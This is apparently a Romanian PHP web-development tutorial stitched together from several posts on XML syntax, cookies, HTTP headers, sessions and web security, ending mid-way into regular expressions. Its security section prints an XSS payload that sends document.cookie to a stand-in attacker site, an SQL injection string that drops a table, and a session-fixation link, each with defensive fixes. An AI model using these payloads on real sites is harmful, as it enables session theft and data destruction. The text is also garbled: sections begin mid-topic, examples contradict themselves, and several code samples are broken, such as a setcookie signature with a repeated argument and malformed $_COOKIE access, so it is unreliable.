Precum se vede, XML permite definirea de limbaje (vocabulare) ce contin si descriu datele. Libertatea creatorului nu este insa absoluta: pentru ca un fisier XML sa poata fi citit si “inteles”) de catre o alta aplicatie, este necesar ca el sa respecte niste reguli generale de sintaxa.

 Iata setul de reguli de care trebuie tinut seama la crearea unui fisier XML:

•       reguli ce tin de elemente

1.    fisierul trebuie sa contina un singur element radacina (eel aflat in radacina fisierului si care nu are element parinte)
2.    fiecare element ce contine date trebuie sa aiba atat tag de inceput, cat si de incheiere
3.    tagul de inceput poate contine spatiu intre nume si >, insa nu si intre < si nume (ex: <nume > este permis,pe cand < nume> este invalid)
4.    elementele ce nu contin date pot fi prescurtate: <element/> in loc de <element></element>
5.    elementele nu pot fi partial suprapuse (ex: <tag7>texr<tag2>text</tagl>text</tag2>);
6. fiecare element trebuie sa fie continut integral in interiorul altuia (cu exceptia elementului radacina)
7.   numele elementelor

• ■       sunt case-sensitive (nu putem scrie ca in HTML, <P>text</p>)
  ■       nu pot incepe cu xml (in orice combinatie de litere mici/mari)
  ■       pot incepe doar cu litera sau – (minus), fiind permise pe pozitiile urmatoare si numere, minus si punct. Nu sunt permise spatii, =, : etc
  ■       pot contine caractere cu semne diacritice (ex: a, i, e etc)

     reguli ce tin de atribute

1.     numele atributelor respecta aceleasi reguli ca numele de elemente
2.     nu este permisa existenta mai multor atribute cu acelasi nume pentru acelasi element
3.     fiecare atribut trebuie sa aiba valoare (nu este permis, de exemplu, <input type=checkbox checked>)
4.     valoarea fiecarui atribut trebuie inclusa intre ” ” sau ”. In interiorul ghilimelelor pot fi folosite apostroafe si invers (ex: <clasa nume=’Clasa “PHP 21 august” ‘>)

•    reguli pentru PCDATA

•      nu este permisa folosirea caracterelor <, >, &,” si’. Daca PCDATA contine asemenea caractere, ele trebuie reprezentate folosind secvente predefinite – asa-numitele entity references (vezi tabelul alaturat)

Un document care se conformeaza acestor reguli are proprietatea de a fi well-formed (corect din punct de vedere sintactic).

[catlist id=18 numberposts=8]

XML (Extensible Markup Language) cste o specificatie W3C (World Wide Web Consortium) care reprezinta un set de reguli ce permit crearea unor limbaje de transport al datelor. El deriva din SGML (Standard Generalized Markup Language), o specificatie complexa ce reprezinta parintele multor alte limbaje de acest fel (HTML, DocBook etc).

Un fisier XML este un fisier text structurat, care contine:

• datele utile – informatia utila ce se doreste a fi transmisa
  • informatii despre aceste date {meta-data) - de exemplu, felul in care datele se afla in relatie unele cu altele. Meta-informatia este specificata cu ajutorul unor tag-uri (marcatoare), asemanatoare cu cele folosite in codul sursa HTML.

lata un exemplu de fisier XML:
<?xml  version=”1.0″?> <produs  id=”34″>
<denumire>Carte</denumire>
<pret>24.5</pret>
</produs>

Fisierul de mai sus contine informatiile despre un produs cu id-ul 34, denumirea Carte si pretul de 24.5. In afara de aceste 3 informatii, toate celelalte reprezinta meta-data: prima linie indica versiunea de XML, iar tag-urile <produs>, <denumire> si <pret> denumesc informatiile continute in fisier, stabilind si apartenenta denumirii si pretului la produs.

Desi un fisier XML este pana la un punct asemanator cu unul HTML, cele doua tehnologii difera in multe aspecte:

• HTML a fost gandit pentru a specifica structura si modul de prezentare a datelor, pe cand XML are ca scop memorarea structurata a datelor in scopul transportului lor intre sisteme de calcul diferite
• HTML este un limbaj, el dispunand de un set prestabilit de tag-uri; XML este o specificatie ce permite programatorului sa defineasca propriile tag-uri, care sa descrie cat mai bine datele utile si relatiile dintre ele

           Avantaje si utilitate XML

Fisierele XML fiind fisiere text, ele au avantaje multiple:

• sunt usor de inteles de catre ochiul uman
• sunt usor de “inteles” pentru o aplicatie
  • nu depind de platforma hardware sau software pe care ruleaza aplicatiile ce lucreaza cu XML. Exista biblioteci de functii XML pentru toate platformele software, asadar un fisier XML scris sau generat in Windows poate fi citit pe MacOS sau Linux.

Un fisier XML poate fi privit ca o mini-baza de date, care este insa usor de manipulat folosind biblioteci deja scrise, si care poate fi folosita cu succes pentru transferul de date intre sisteme altminteri incompatibile.

      Elemente si PCDATA

Sa consideram ca referinta urmatorul fisier XML:

<persoana>      
<nume>john <porecla>The man </porecla>Doe </prenume>
<varsta>30</varsta>     
</persoana>      

Un tag (marcator) XML reprezinta textul ce incepe cu < si se incheie cu >. In exemplul de mai sus, <persoana>, <nume>, <porecla>, <prenume> si <varsta> sunt tag-uri. Tag-urile sunt in general pereche: exista un tag de inceput si unul de incheiere, eel de incheiere avand acelasi nume cu eel de inceput dar incepand cu </ (ex: <nume>…</nume> ). Tag-urile sunt cele care specifica structura informatiei; informatia utila este cea prezenta intre tag-urile de inceput si de sfarsit (ex: 30, John, Doe etc in exemplul de mai sus)

Un element XML reprezinta toata informatia cuprinsa intre un tag de inceput si tag-ul corespunzator de incheiere. Intre cele doua tag-uri se pot afla:

• doar date de tip text – ex: elementele <varsta> si <porecla> din exemplul nostru). In acest caz, continutul elementului (textul dintre taguri) este denumit parsed character data sau, pe scurt, PCDATA
• alte sub-elemente sau o combinatie de text si sub-elemente – ex: elementul <nume>, elementul <persoana> din exemplul de mai sus

Atunci cand un element contine alte elemente, el reprezinta pentru ele elementul parinte, iar cele continute sunt elemente copil ale sale.

Fisierul de mai sus contine urmatoarea structura:

• un element radacina (asa-numitul root element) - tag-ul <persoana>, care la randul sau contine alte elemente
• elementul <persoana> are doua elemente copil – <nume> si <varsta>
• elementul <varsta> are continutul de tip PCDATA cu valoarea 30
• elementul <nume> contine:

o    PCDATA cu valoarea John
o    elementul <porecla>
o    PCDATA cu valoarea Doe

• elementul <porecla> contine PCDATA cu valoarea The Ripper

      Atribute

Atributele reprezinta perechi nume=valoare asociate unui element, specificate in cadrul tagului de inceput al elementului, separate prin spatii fata de numele tagului si intre ele. Un element poate avea zero sau mai multe atribute. Orice atribut are valoare (chiar daca este cea vida), care trebuie inclusa intre ” sau ‘:

<student tip=”cisco” id=’135′>
<username>anonymous</username> </student>

[catlist id=18 numberposts=10]

 Cookie-urile reprezinta perechi nume-valoare pe care serverul web le poate stoca pe hard-disk-iul clientului, prin intermediul browserului web.  Ele sunt transmise clientului prin intermediul. unui header HTTP (Set-Cookie sau Set-Cookie2), in cadrul unui raspuns la o cerere a clientului. La urmatoarele cereri depuse de acelasi client catre acelasi server, clientul va trimite automat continutul cookie-ului catre server, care poate folosi datele respective ca si date de intrare ale unei aplicatii ce genereaza o pagina web (asemanator cu informatiile provenite prin GET sau POST). Astfel, cookie-urile sunt un mecanism de propagare a informatiei de la o cerere la alta.

Iata doua utilizari tipice pentru cookie-uri:

•    un site care contine o sectiune restrictionata, accesibila numai utilizatorilor autentiflcati, seteaza un cookie in browserul clientului in momentul in care acesta se autentifica. Cookie-ul contine id-ul clientului si va fi trimis automat serverului la cererile urmatoare efectuate de client, ceea ce va permite serverului sa-1 identifice si sa-i trateze cererile ca parte a unei sesiuni

•    un site care permite utilizatorului sa specifice preferinte (ex: limba dorita, culoarea etc); odata alese, aceste preferinte sunt stocate pe hard-disk-ul clientului intr-un cookie si sunt trimise serverului la fiecare cerere ulterioara, ceea ce ii da acestuia posibilitatea de a genera de fiecare data pagina in concordanta cu preferintele exprimate anterior de client

Lucrul cu cookie-uri prezinta urmatoarele caracteristici:

•    avantaje

•  un cookie poate memora informatie in mod persistent, intre doua cereri ale clientului, chiar daca elesunt efectuate la momente de timp indepartate (ex: zile)
•    mecanismul de cookies functioneaza in mod transparent pentru utilizator – browserul si serveral web fac operatiile necesare pentru mentinerea starii intre cereri

•    dezavantaje

•    utilizatorul poate sterge cookie-urile din browse
•    browserul poate fi configurat sa nu accepte cookies sau sa le accepte selectiv
•    browserele ofera de obicei spatiu de stocare drastic limitat pentru cookies

 Parametrii  unui cookie

Fiecare cookie trimis clientului are urmatorul set de parametri:

• nume – cel prin intermediul caruia vor fi accesate datele de catre server atunci cand cookie-ul este trimis inapoi de catre client -    valoare – informatiile stocate in cookie
• data de expirare - specifica momentul stergerii cookie-ului; daca lipseste, cookie-ul este sters atunci cand userul inchide browserul. Serverul poate schimba acest parametru pentru un cookie deja setat (de exemplu, poate forta stergerea lui setand data de expirare in trecut)
• domeniu si cale -specifica in ce conditii este trimis inapoi cookie-ul catre server: numai daca domeniul este acelasi si URI-ul cerut de client se afla in interiorul caii specificate in cale
• secure - pune conditia ca cookie-ul sa nu fie transmis serverului decat daca conexiunea acestuia cu clientul este una criptata (HTTPS)
• http only – pune conditia ca cookie-ul sa fie accesibil doar serverului web prin intermediul protocolului HTTP, nu si limbajelor de scripting locale (ex: Javascript)

Parametrii nume si valoare sunt obligatorii, toti ceilalti sunt optionali.

  Lucrul cu cookies din PHP

 Numim setarea unui cookie operatia prin care serverul trimite un cookie catre client prin intermediul headerului HTTP corespunzator, determinand fie crearea cookie-ului in browserul clientului, fie modificarea parametrilor unui cookie setat anterior.

Functia PHP predefinita folosita in acest scop este setcookie:

setcookie  ($nume   [,   $cale   [,   $expirare  [,   $cale  [,   $domeniu   [,   $secure   [,   $httponly]]]]]])

Functia returneaza FALSE daca scriptul a produs deja output (si deci headerul HTTP Set-Cookie nu mai poate fi trimis).

Argumentele functiei se mapeaza pe parametrii unui cookie, cu urmatoarele mentiuni:

1.    valoarea unui cookie nu poate fi decat scalar
2.    momentul expirarii

• se specifica sub forma de Unix time (numarul de secunde scurs de la 1 ianuarie 1970, care este data conventional a a crearii sistemultii de operare Unix). Functia PHP timeO intoarce momentul prezent exprimat in acest fel, ceea ce o face foarte potrivita pentru setarea momentului expirarii unui cookie
• daca nu este specificat sau setat pe valoarea 0, cookie-ul va expira cand utilizatorul inchide browserul

Exemple:

// setare cookie doar cu nume si  valoare:  expira la inchiderea browserului
setcookie(“c_id”,  4167);
// setare cookie cu specificarea momentw.lui  expirarii:  2 minute de la setare
Setcookie (“color”,”red”, time()+60);          

Atentie! Deoarece trimiterea cookie-urilor se.face prin intermediul unui header HTTP, toate cookie-urile trebuie setate inaintea oricarui output al scriptului PHP!

Daca se doreste trimiterea intr-un cookie (si recuperarea ulterioara) a mai multor valori, exista doua posibilitati:

 •    se seteaza mai multe cookie-uri. Daca se doreste ca, la citirea valorii acestora, sa se obtina un tablou (vezi mai jos accesarea informatiei din cookies), numele cookie-urilor pot fi setate cu sintaxa de tablou:

setcookie(“cookie[0]“,  3);
setcookie(“cookie[l]“,   5);

•    se includ valorile in cauza intr-un tablou, care este transformat intr-un string folosind functiile serialize() sau implode()

  Accesarea informatiei provenite din cookies 

Clientul trimite automat impreuna cu cererea HTTP toate acele cookie-uri ale caror parametri domeniu si cale corespund cu URL-ul solicitat in cerere. Daca URL-ul determina executia unui script PHP, interpretorul PHP primeste de la server informatia din cookie si o stocheaza in variabila $_COOKIE – un tablou asociativ de tip superglobal. Acest tablou contine cate un element pentru fiecare cookie primit, perechea cheie-valoare fiind reprezentata de numele si valoarea cookie-ului.

Atentie! Un cookie este setat intr-un raspuns al serverului si este disponibil acestuia abia incepand cu cererea urmatoare!

If(isset($_cookie(‘lang’])){
$preferred_language = $_COOKIE’lang’];
else{
$preferred_language = “en”;
setcookie(“lang”,”en”);}

Stergerea unui cookie

Stergerea unui cookie se poate face in diferite moduri:

•    ca urmare a unei actiuni a utilizatorului: browserele din ziua de astazi ofera utilizatorului interfete facile pentru managementul cookie-urilor, inclusiv stergerea sau modificarea parametrilor acestora

•    ca urmare a unei actiuni efectuate pe server:

• programatorul poate da valoarea vida cookie-ului (trimitand un cookie cu parametri identici daravand ca valoare sirul vid)
•  programatorul poate, seta momentul expirarii cookie-ului in trecut

Exemplu: pentru un cookie setat initial astfel:

// setarea initiala a cookie-ului
 setcookie(“nume”,”Mihai”,time()+2000);

modalitatile de stergere sunt:

// … la o cerere ulterioara*   cookie-ul   este suprascris,   dandu-i-se valoarea “”
setcookie(“nume”,  “”);
// …alternativ,   se putea muta in trecut momentul  expirarii
setcookie(‘nume”,  “Mihai”,  time() -86400) ;

Nota: este o practica buna ca, la stergerea unui cookie, timpul de expirare safie setat mult in trecut, deoarece ora de pe server si cea depe client pot diferi semnificativ, iar decizia stergerii cookie-ului la expirare ii apartine browserului, care ruleazape client.

• redirectionarea clientului catre o alta adresa (prin intermediul headerului Redirect)
• specificarea tipului de continut pe care serverul il trimite clientului, astfel incat browserul web sa stie cum sa trateze acel continut: sa il afiseze direct (daca este vorba de text simplu), sa il afiseze formatat (daca este sursa HTML), sa il deschida cu ajutorul unui plug-in¹ (daca este de tip PDF sau doc) etc. Toate acestea sunt posibile prin intermediul headerului HTTP Content-type
• setarea unui cookie (memorarea unei informatii pe client, in scopul extragerii ei ulterioare) – cu ajutorul headerului Set-Cookie (vezi sectiunea despre cookies in cadrul acestui material)
• specificarea strategiei de caching a browserului pentru pagina ceruta – cu ajutorul headerelor Cache-Control si Expires. Browserele internet incearca in general sa pastreze in cache cat mai multa informatie posibila, astfel incat utilizatorul sa aiba dublul avantaj al vitezei si al consumului mai mic de banda. Uneori insa pastrarea unei copii a unei pagini pe client nu este dezirabila (ex: pentru paginile generate dinamic, al caror continut se poate schimba de la o cerere la alta)

Headerele sunt de forma Nume-Header: informatii. In mesajul HTTP, headerele se afla intotdeauna inaintea! continutului mesajului si sunt separate de acesta printr-o linie goala. De aceea. este important ca, atunci cand o aplicatie genereaza dinamic continut web (inclusiv headere HTTP atasate acestui continut), headerele sa fie generate inaintea oricarui alt output al aplicatiei generatoare.

    Lucrul cu headere HTTP din PHP

PHP pune la dispozitia programatorului cateva functii predefinite pentru lucrul cu headere HTTP:

• header() – folosita pentru a trimite headere HTTP specificate de programator catre client
• headers_sent() - folosita pentru a verifica daca headerele au fost deja trimise catre client (caz in care nu mai putem adauga altul)
• headers__listO - returneaza lista de headere destinate clientului (care au fost deja trimise sau care sunt in asteptare)

Functia header are urmatorul prototip:
void header ( string $header [,  bool  $replace  [,  int $http_response_code]]
lata semnificatiile argumentelor:

• Sheader - reprezinta headerul HTTP in forma in care acesta apare in mesajul HTTP (exemplu: “Location: http://www.example.com/index.php“)
• Sreplace - indica daca, in caz ca exista deja un header cu acelasi nume, noul header sa il inlocuiasca pe cel vechi sau sa fie adaugat listei de headere ce trebuie trimise clientului.
• $http_response_code - specifica codul de raspuns HTTP care sa fie trimis clientului. Codurile de raspuns HTTP sunt formate din 3 cifre, iar in functie de prima cifra pot avea urmatoarele semnificatii:
•   1xx – coduri de informare a clientului, intermediare o 
•   2xx – coduri ce indica succesul unei cereri a clientului o  
•   3xx – redirectionari
•   4xx - indica o eroare din partea clientului (ex: 404 – Not Found)
•   5xx – erori ale serverului sau incapacitatea acestuia de a onora cererea clientului (ex: 503 Service Unavailable)

//fortam aparitia ferestrei de save in loc de simpla afisare formatata in browser header (“Content-di sposition: attachment; filename=statistici.html”);

// trimiterea unui fisier .doc prin intermedin”! unui script PHP header(“Content-type: text/html”);

HTTP este un protocol stateless – fiecare cerere este tratata de catre server independent de celelalte, serverul nu isi “aminteste” ce s-a intamplat la cererile anterioare si nu coreleaza in vreun fel mai multe cereri, chiar daca ele provin de la acelasi client sau daca corespund unor resurse aflate in acelasi site.

Solutii pentru memorarea informatiei intre doua cereri

Pentru ca serverul sa poata mentine informatii care tin de un anume client de la o cerere a acestuia la alta, este necesara salvarea datelor in cauza la incheierea unei cereri si incarcarea lor la cererea urmatoare. Memorarea acestor date se poate face:

•    pe client. Solutia este mecanismul de cookies – mici cantitati de informatie pe care serverul web le poate stoca pe hard-disk-ul clientului, urmand ca ele sa-i fie trimise inapoi serverului la cererile urmatoare pe care clientul le efectueaza (vezi mai jos sectiunea despre cookies)

•    pe server. Solutia este sistemul de management al sesiunilor: serverul aloca clientului un spatiu de stocare pentru informatii proprii (variabile de sesiune), in care acestea se salveaza la incheierea fiecarei cereri si se incarca inapoi la urmatoarea cerere care este detectata a veni de la acelasi client. Mecanismul de stocare este dublat de unul de identificare a clientului, care permite serverului sa recunoasca cereri disparate ca venind de la acelasi client (vezi sectiunea despre sesiuni). Felul in care se face salvarea informatiilor de sesiune este configurabil de catre administratorul serverului web si al modulului de PHP (se poate face in fisiere, baze de date etc.)
[catlist id=18 numberposts=10]

Atunci cand programatorul nu tine cont de aspectele discutate pana acum in acest material, el creeaza vulnerabilitati in codul sau, care pot fi apoi exploatate de catre crackeri. Vor fi prezentate in continuare cateva dintre cele mai des intalnite tipuri de atacuri impotriva unui site, impreuna cu solutii pentru prevenirea lor.

1.Falsificarea formularelor

Precum s-a spus si anterior, programatorul nu poate sti din ce sursa provin datele de intrare ale scriptului. Sa presupunem ca scriem un script PHP numit detalii.php care afiseaza un formular HTML ce solicita utilizatorului numele (introdus manual) si sexul (sub forma unui drop-down list). Acelasi script realizeaza si prelucrarea datelor:

$form = <<<FORM
<form method=post action=$_SERVER[PHP_SELF]>
<input>
<select>
<option value=M>Masculin</option>
<option value=F>Feminin</option> </select>
<input value=submit> </form>
FORM;
if(!empty($_POST['submit^,])){ Snume = $_POST['nume'];
$sex = $_POST['sex'];      // valori  posibile:  M sau F
 }

Faptul ca scriptul trimite formularul catre browser si ca tot el receptioneaza si prelucreaza datele nu trebuie sa ne faca sa credem ca datele de intrare ale acestui script provin neaparat de la formularul pe care el il afiseaza! Un utilizator poate scrie oricand un fisier HTML ca urmatorul:

<form method=post action=”http://www.example.com/detalii.php“>
<input nume=sex>
<input value=trimite>  

In acest formular, utilizatorul ar putea introduce orice string pentru sexul persoanei, iar numele acesteia lipseste cu desavarsire. La expedierea datelor, tot scriptul detalii.php va fi cel care le primeste (ca si in cazul formularului “oficial”), insa ele nu sunt complete, iar campul sex nu mai are neaparat una dintre cele doua valori posibile.

Inventariind, scriptul detalii.php are cateva probleme:

-    se bazeaza pe faptul ca, daca el e cel care afiseaza formularul, datele de intrare vor proveni din acel formular. S-a demonstrat mai sus ca nu este adevarat

-     presupune ca poate impune un set discret de valori pentru o valoare de intrare, afisand in formular un drop-down list cu valorile posibile. S-a demonstrat de asemenea ca, atata timp cat input-ul poate proveni dintr-un alt formular, complet diferit, programatorul nu mai poate sti ce fel de componenta a fost folosita pentru editarea valorii (in fond, tot ce receptioneaza scriptul este o pereche nume-valoare)

-    presupune ca, daca in $_POST se gaseste elementul corespunzator butonului de submit, atunci in S_POST sunt de asemenea prezente toate datele necesare. S-a aratat mai sus faptul ca datele din input pot fi prezente in orice combinatie, fara nici o legatura cu felul in care a fost gandit formularul “oficial” (cel afisat de catre detalii.php)

   Solutie

Avand in vedere ca sursa datelor nu este sub controlul programatorului, acesta poate lua doua seturi de masuri: -    sa incerce sa se asigure ca datele provin chiar din formularul afisat de catre scriptul sau, si nu din altul. Solutia este doar partiala, pentru ca destule browsere din ziua de astazi au facilitati ce permit editarea datelor din POST inainte de expedierea unui formular, iar in aceste conditii input-ul ar putea fi invalid chiar daca provine din formularul corect –  sa verifice prezenta tuturor datelor necesare in input si sa le valideze inainte de a lucra cu ele – este  solutia cea mai sigura, si care trebuie oricum aplicata datelor de intrare indiferent de scenariu

Atentie! O falsa solutie este incercarea de validare a datelor folosind un limbaj de scripting ce ruleaza pe client (ex: Javascript). Sa nu uitam insa ca 1) orice ruleaza pe client nu este de incredere si 2) chiar daca arfi, limbajele de scripting potfi dezactivate din browser, anuland tot beneficiul validarii client-side dintr-un simplu click. Astfel de metode pot fi folosite doar ca mecanisme aditionale de validare, dar programatorul nu trebuie sa se bazeze exclusiv pe ele.

2.Cross-site scripting (XSS)

Atacurile de tip cross-site scripting sunt posibile atunci cand o aplicatie (in cazul nostra, un script PHP) permite injectarea de cod in paginile web generate de catre aceasta. De obicei acest tip de atacuri functioneaza in conjunctie cu limbaje de scripting ce ruleaza pe client (ex: Javascript). Un astfel de atac a fost prezentat in cadrul acestui material, in sectiunea 14.4.2.1: o aplicatie PHP memoreaza sugestiile utilizatorilor intr-o baza de date, afisand ultima sugestie introdusa. Daca programatorul preia ca atare input-ul utilizatorului si il afiseaza inapoi in browser, el deschide calea unui atac de tip XSS, deoarece un atacator poate introduce cod HTML si Javascript care apoi va fi interpretat ca atare de browserele altor utilizatori care vizualizeaza pagina in cauza. Sa ne imaginam ce se va intampla daca atacatorul introduce ca “sugestie” urmatorul string:

<script language= “javascript”>
document. location=‘http://www.site-atacator.com? thecookie= ‘+document.cookie;
</script>

Orice utilizator care vizualizeaza apoi “sugestia” introdusa va fi redirectionat catre site-ul atacatorului, insa continutul eventualului cookie trimis catre site-ul original va fi inclus in query string, putand fi apoi usor extras de catre atacator (ex: $_GET['thecookie']).

Solutie

Problema in acest caz este afisarea neeontrolata in browser a input-ului de la un utilizator rauvoitor. Precum s-a discutat in cadrul acestui material, orice caracter sau constractie cu regim special pentru browser trebuie reprezentat(a) folosind entitatile HTML corespunzatoare, iar acest lucra poate fi facut in PHP folosind functiile htmlspecialchars()/htmlentities(). In acest fel, la afisarea codului de mai sus in browser, el se va vedea exact asa cum apare in exemplu, fara a fi interpretat ca cod HTML/Javascript.

3.SQL injection

Atacurile de tip SQL injection presupun injectarea de cod SQL rauvoitor in interogarile efectuate de un site catre baza de date cu care lucreaza, in scopul distrugerii sau furtului de date sau al accesului neautorizat la informatie. Acest lucra este posibil cand interogarile sunt generate folosind informatii provenite de la utilizator.

Sa consideram exemplul unui script PHP ce primeste username-ul si parola introduse de utilizatori si efectueaza o interogare in baza de date pentru a determina parola corespunzatoare username-ului primit:

 $sql = “select * FROM useri  where username=’$_POST['user']}’ “;

Un atacator ar putea introduce urmatoarea secventa pe post de username: ‘; DROP TABLE useri–. $sql devine acum:

SELECT * from useri  where username ‘ ‘;  drop table useri;   –’

Atacatorul a reusit astfel sa genereze mai multe comenzi SQL, una dintre ele fiind distructiva. Apostroful de incheiere al valorii username-ului este anulat de delimitatorul de comentariu (– in SQL).

Solutii

Problema in scenariul de mai sus este ca input-ul provenit de la utilizator nu trece printr-o procedura de escaping inainte de a fi trimis catre baza de date. Se disting urmatoarele solutii/recomandari:

• orice string trimis catre baza de date trebuie filtrat prin mysqli_real_escape_string() sau echivalentul acestei functii pentru extensia de baze de date folosita
• un script trebuie sa aiba privilegiile minime necesare asupra bazei de date. In exemplul de mai sus, scriptul nu ar trebui sa aiba permisiunea de DROP pe tabelele bazei de date

4.Session hijacking

Sistemul de sesiuni PHP poate fi inselat; depinde de cat de bine este folosit de catre programator. Spre exemplu, din punct de vedere al sistemului de sesiuni, un utilizator este identificat printr-un numar – session ID-ul, stocat in session cookie sau in URL. Daca un utilizator neautorizat intra in posesia session ID-ului altui user, si creeaza un cookie/URL continand acest session ID, un script PHP nu ar fi constient de faptul ca interactioneaza acum cu un alt utilizator.

Un atacator ar putea ajunge in posesia session id-ului unui utilizator in diferite moduri, unul dintre cele mai intalnite fiind XSS: fie accesand continutul cookie-ului trimis de utilizatorul valid catre server (daca session ID-ul este pastrat in session cookie), fie injectand un link extern caruia i se va adauga session id-ul automat (daca PHP este configurat sa faca acest lucru).

Un alt mod de a intra in posesia diverselor session id-uri ale clientilor este pe un server de shared hosting (care gazduieste mai multe site-uri pe aceeasi statie). Mecanismul default de serializare a datelor de sesiune le salveaza sub forma de fisiere in /tmp, toate procesele serverului web avand acces la aceasta informatie.

Odata ce un atacator reuseste sa “fure” sesiunea unui utilizator in acest fel, el se prezinta practic serverului ca fiind acel utilizator si, daca utilizatorul in cauza era autentificat, va avea acces la datele private ale victimei.

Solutii

Problema in scenariul de mai sus este ca un utilizator este identificat printr-un simplu numar care, odata intrat in posesia atacatorului, ii permite acestuia din urma sa preia identitatea victimei. Posibile remedii sunt:

• efectuarea unor verificari suplimentare, in afara simplului session ID. Una dintre practicile des intalnite este memorarea continutului headerului HTTP User-Agent in datele de sesiune. User-Agent specifica browserul folosit de client, si care se presupune ca ramane constant de-a lungul unei sesiuni. La fiecare cerere efectuata de catre client, se verifica daca User-Agent-ul memorat in sesiune corespunde cu cel primit prin HTTP la cererea curenta
• folosirea unui alt mecanism de salvare a datelor de sesiune pentru scenariile de tip shared hosting. O varianta des folosita este salvarea sesiunilor intr-o baza de date

6.Session fixation

Atacurile de tip session fixation au ca scop fortarea unui anumit session id pentru sesiunea unui utilizator. Daca atacatorul prestabikste session id-ul, il poate folosi mai apoi pentru a fura identitatea victimei si a accesa datele sale private dupa ce aceasta se autentifica.

Sa ne reamintim ca functia session-start() initiaza o sesiune sau restaureaza una veche, dupa caz. Id-ul sesiunii este fie general pe loc, fie este folosit cel prezent in GET, POST sau COOKIE. Numele default al session cookie-ului este PHPSESSID. Un atacator ar putea trimite victimei (pe messenger, prin XSS etc) un link catre site-ul pe care doreste sa castige acces, insa link-ul va contine session id-ul:

http://vww.example. com/index.php ?PHPSESSID=7qw8ynfyutfqt

Cand victima da click pe acest link, site-ul destinatie va porni o sesiune, insa cu session id-ul deja specificat in query string. Dupa ce victima se autentifica, atacatorul poate folosi session id-ul pentru a fura sesiunea victimei.

  Solutii

Acest atac functioneaza atunci cand session id-ul poate fi prestabilit de catre atacator, ramanand acelasi dupa autentificarea victimei. Solutia este ca, intotdeauna cand privilegiile unui utilizator se schimba (cum este cazul autentiflcarii in scopul accesarii unei portiuni protejate dintr-un site), session id-ul sa fie regenerat. Aceasta operatie se realizeaza folosind functia session_regenerate_id():

session_start();
if( auth($user, $pass) === true){ session_regenerate_id();
}

• cand dorim sa cautam si sa extragem siruri de caractere cu format cunoscut dintr-un text mai mare. Exemplu: intentionam sa obtinem doar adresele de e-mail dintr-un fisier text care contine diverse informatii despre o lista de utilizatori.
• cand dorim sa validam date (sa ne asiguram ca anumite informatii au format corect). Exemplu: datele introduse de catre utilizator intr-un formular HTML trebuie sa respecte anumite cerinte – datele calendaristice sa fie formatate intr-un anume fel, numele de persoane sa contina nume si prenume separate prin spatiu sau -, etc.

Exista deosebiri fundamental intre cautarea obisnuita si cea folosind regex-uri:  

• in cautarea obisnuita, cunoastem de la bun inceput sirul de caractere ce va fi gasit, iar ceea ce ne intereseaza sunt informatii suplimentare (pozitia sau pozitiile aparitiei lui, frecventa de aparitie etc)
• in cautarea cu regex-uri, nu stim dinainte sirurile de caractere pe care le vom gasi, ci vom obtine toate sirurile corespunzatoare formatului specificat. Asadar scopul cautarii, spre deosebire de cautarea obisnuita, poate fi chiar lista de siruri al caror format   este precizat in regex

[catlist id=18 numberposts=10]